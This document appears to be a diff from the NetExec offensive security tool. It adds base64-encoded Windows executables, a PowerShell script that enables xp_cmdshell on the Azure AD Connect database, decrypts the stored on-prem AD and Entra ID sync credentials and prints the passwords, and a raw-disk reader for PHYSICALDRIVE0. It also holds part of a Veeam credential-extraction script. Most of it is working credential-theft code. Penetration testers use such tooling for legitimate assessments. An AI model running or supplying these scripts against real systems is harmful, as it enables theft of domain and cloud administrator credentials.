self.log_folder_path = os.path.join(NXC_PATH, "logs")
self.localip = None
self.conf = configparser.ConfigParser()
self.conf.read(os.path.expanduser("~/.nxc/nxc.conf"))
self.conf.read(CONFIG_PATH)
self.log = logger
# self.log.debug = logging.debug
@@ -0,0 +1 @@
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 truncated
+82
View File
@@ -0,0 +1,82 @@
# Original script by @_xpn_: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
# Modified by @NeffIsBack:
# - Added support for Entra ID sync credentials (original source: https://github.com/Gerenios/AADInternals-Endpoints/blob/6af2054705e900b733ba76c6e65bfa6cad2328cc/AADSyncSettings.ps1#L108-L116)
# Function to decrypt the encrypted configuration of the Azure AD Connect sync stuff
function decrypter($crypted, $key_id, $instance_id, $entropy) {
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
$decrypted += $reader.GetString(0)
}
$reader.Close()
if ($decrypted -eq [string]::Empty) {
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
return
}
return $decrypted
}
# Create a connection to the localdb instance of Azure AD Connect
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb, Entra ID sync probably not installed"
return
}
function f {
param ($q)
$c = $client.CreateCommand()
$c.CommandText = $q
$r = $c.ExecuteReader()
if (-not $r.Read()) {
Write-Host "[!] Error querying: $q"
return
}
$res = for ($i = 0; $i -lt $r.FieldCount; $i++) { $r.GetValue($i) }
$r.Close()
return $res
}
# Get keyset_id, instance_id, entropy
$out = f "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
if (-not $out) { return }
$key_id, $instance_id, $entropy = $out
# Get and decrypt on-prem AD credentials
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
if (-not $out) { return }
$on_prem, $c = $out
$pd = decrypter $c $key_id $instance_id $entropy
# Get and decrypt Entra ID sync credentials
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
if (-not $out) { return }
$entra, $c = $out
$qd = decrypter $c $key_id $instance_id $entropy
# Extract the credentials from the decrypted XML configurations
$domain = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$pw = select-xml -Content $pd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "On-prem Domain: $($domain.Domain)"
Write-Host "On-prem Username: $($username.Username)"
Write-Host "On-prem Password: $($pw.Password)"
# Extract the Entra ID sync credentials
$entra_user = ([xml]$entra).MAConfig.'parameter-values'.parameter[0].'#text'
$entra_pw = select-xml -Content $qd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "Entra ID Username: $($entra_user)"
Write-Host "Entra ID Password: $($entra_pw.Password)"
-65
View File
@@ -1,65 +0,0 @@
$sqlbin=@(Get-ChildItem -Path C:\"Program Files"\"Microsoft SQL Server"\ -Filter sqllocaldb.exe -Recurse).fullname
$db=@(cmd /c $sqlbin info | findstr /i ADSy)
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\$db;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb..."
return
}
Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_server_configuration"
return
}
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_management_agent"
return
}
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
$decrypted += $reader.GetString(0)
}
if ($decrypted -eq [string]::Empty) {
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
return
}
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "Domain: $($domain.Domain)"
Write-Host "Username: $($username.Username)"
Write-Host "Password: $($password.Password)"
+95
View File
@@ -0,0 +1,95 @@
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
public class CNativeMethods
{
public const uint GENERIC_READ = 0x80000000;
public const uint OPEN_EXISTING = 3;
public const uint FILE_SHARE_READ = 0x00000001;
public const uint FILE_SHARE_WRITE = 0x00000002;
public const uint FILE_SHARE_DELETE = 0x00000004;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern SafeFileHandle CreateFile(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadFile(
SafeFileHandle hFile,
byte[] lpBuffer,
uint nNumberOfBytesToRead,
out uint lpNumberOfBytesRead,
IntPtr lpOverlapped
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetFilePointerEx(
SafeFileHandle hFile,
long lDistanceToMove,
out long lpNewFilePointer,
uint dwMoveMethod
);
}
public enum EMoveMethod : uint
{
Begin = 0,
Current = 1,
End = 2
}
"@
Function read_disk{
$offset = [long]$args[0]
$size = [int]$args[1]
try {
$handle = [CNativeMethods]::CreateFile("\\.\PHYSICALDRIVE0",
[CNativeMethods]::GENERIC_READ,
[CNativeMethods]::FILE_SHARE_READ -bor [CNativeMethods]::FILE_SHARE_WRITE -bor [CNativeMethods]::FILE_SHARE_DELETE,
[IntPtr]::Zero, [CNativeMethods]::OPEN_EXISTING, 0, [IntPtr]::Zero)
if ($handle.IsInvalid) {
throw "Failed to create file handle"
}
$moveToHigh = 0
$success = [CNativeMethods]::SetFilePointerEx($handle, $offset, [ref]$moveToHigh, [EMoveMethod]::Begin)
if (-not $success) {
throw "Failed to set file pointer"
}
$buffer = New-Object byte[] $size
$bytesRead = 0
$success = [CNativeMethods]::ReadFile($handle, $buffer, $size, [ref]$bytesRead, [IntPtr]::Zero)
if (-not $success) {
throw "Failed to read file"
}
$memoryStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream($memoryStream, [System.IO.Compression.CompressionMode]::Compress)
$gzipStream.Write($buffer, 0, $buffer.Length)
$gzipStream.Close()
$compressedBytes = $memoryStream.ToArray()
$compressedBase64 = [Convert]::ToBase64String($compressedBytes)
Write-Output $compressedBase64
} catch {
Write-Error "An error occurred: $_"
}
finally {
if ($handle -and !$handle.IsInvalid) {
$handle.Close()
}
}
}
+4 -2
View File
@@ -5,7 +5,6 @@ pwn3d_label = Pwn3d!
audit_mode =
reveal_chars_of_pwd = 0
log_mode = False
ignore_opsec = True
host_info_colors = ["green", "red", "yellow", "cyan"]
[BloodHound]
@@ -13,7 +12,10 @@ bh_enabled = False
bh_uri = 127.0.0.1
bh_port = 7687
bh_user = neo4j
bh_pass = neo4j
bh_pass = bloodhoundcommunityedition
[BloodHound-CE]
bhce_enabled = True
[Empire]
api_host = 127.0.0.1
+1
View File
@@ -0,0 +1 @@
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 truncated
@@ -1,9 +1,10 @@
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
$SqlServerName = "REPLACE_ME_SqlServer"
$SqlInstanceName = "REPLACE_ME_SqlInstance"
$b64Salt = "REPLACE_ME_b64Salt"
#Forming the connection string
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$auth = "Integrated Security=SSPI;" #Local user
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -22,19 +23,46 @@ catch {
exit -1
}
$rows=($dataset.Tables | Select-Object -Expand Rows)
if ($rows.count -eq 0) {
$output=($dataset.Tables | Select-Object -Expand Rows)
if ($output.count -eq 0) {
Write-Host "No passwords found!"
